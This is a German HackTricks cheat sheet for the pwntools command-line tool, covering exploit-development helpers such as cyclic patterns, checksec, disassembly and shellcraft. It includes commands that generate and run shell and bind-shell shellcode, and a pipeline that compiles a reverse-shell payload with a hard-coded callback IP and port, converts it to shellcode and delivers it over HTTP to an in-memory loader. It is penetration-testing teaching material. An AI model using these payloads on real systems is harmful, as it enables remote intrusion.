PwnTools
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
pip3 install pwntools
Pwn asm
Hole opcodes aus einer Zeile oder Datei.
pwn asm "jmp esp"
pwn asm -i <filepath>
Kann auswählen:
- Ausgabetyp (raw,hex,string,elf)
- Ausgabedatei-Kontext (16,32,64,linux,windows...)
- Bytes vermeiden (Zeilenumbrüche, Null-Byte, eine Liste)
- Encoder auswählen, shellcode mit gdb debuggen, Ausgabe ausführen
Pwn checksec
Checksec-Skript
pwn checksec <executable>
Pwn constgrep
Pwn cyclic
Muster erzeugen
pwn cyclic 3000
pwn cyclic -l faad
Kann auswählen:
- Das verwendete Alphabet (standardmäßig Kleinbuchstaben)
- Länge des uniq pattern (Standard: 4)
- context (16,32,64,linux,windows...)
- Offset ermitteln (-l)
Pwn debug
GDB an einen Prozess anhängen
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
Kann auswählen:
- Nach executable, nach Name oder nach pid context (16,32,64,linux,windows...)
- gdbscript zum Ausführen
- sysrootpath
Pwn disablenx
nx eines Binaries deaktivieren
pwn disablenx <filepath>
Pwn disasm
Disas hex opcodes
pwn disasm ffe4
Kann auswählen:
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
Pwn elfdiff
Zeigt Unterschiede zwischen 2 Dateien an
pwn elfdiff <file1> <file2>
Pwn hex
Hexadezimale Darstellung erhalten
pwn hex hola #Get hex of "hola" ascii
Pwn phd
hexdump abrufen
pwn phd <file>
Kann auswählen:
- Anzahl der anzuzeigenden Bytes
- Anzahl der Bytes pro Zeile (hervorgehobenes Byte)
- Bytes am Anfang überspringen
Pwn pwnstrip
Pwn scrable
Pwn shellcraft
Shellcodes erhalten
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
Kann auswählen:
- shellcode und Argumente für den shellcode
- Ausgabedatei
- Ausgabeformat
- debug (dbg an den shellcode anhängen)
- vorher (Debug-Trap vor dem Code)
- nachher
- Vermeide die Verwendung von opcodes (Standard: keine Null-Bytes und Zeilenumbrüche)
- Shellcode ausführen
- Farbe / keine Farbe
- syscalls auflisten
- mögliche shellcodes auflisten
- ELF als shared library erzeugen
Pwn template
Hole eine Python-Vorlage
pwn template
Auswählbar: host, port, user, pass, path und quiet
Pwn unhex
Von hex zu string
pwn unhex 686f6c61
Pwn-Aktualisierung
Um pwntools zu aktualisieren
pwn update
ELF → raw shellcode packaging (loader_append)
Pwntools kann eine eigenständige ELF in ein einzelnes raw shellcode blob umwandeln, das seine Segmente selbst mapped und die Ausführung an den ursprünglichen entrypoint übergibt. Das ist ideal für memory-only loaders (z. B. Android-Apps, die JNI aufrufen, um heruntergeladene Bytes auszuführen).
Typische Pipeline (amd64-Beispiel)
- Erstelle eine statische, positionsunabhängige payload ELF (musl für Portabilität empfohlen):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
- Konvertiere ELF → shellcode mit pwntools:
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
- Übermittle sc an einen memory loader (z. B. über HTTP[S]) und führe ihn im Prozess aus.
Hinweise
- loader_append bettet das originale ELF-Programm in den shellcode ein und erzeugt einen winzigen Loader, der die Segmente mmaps und zum entry springt.
- Gib die Architektur explizit über context.clear(arch=...) an. arm64 ist auf Android verbreitet.
- Sorge dafür, dass der Code deines payloads positionsunabhängig ist, und vermeide Annahmen über ASLR/NX des Prozesses.
Referenzen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks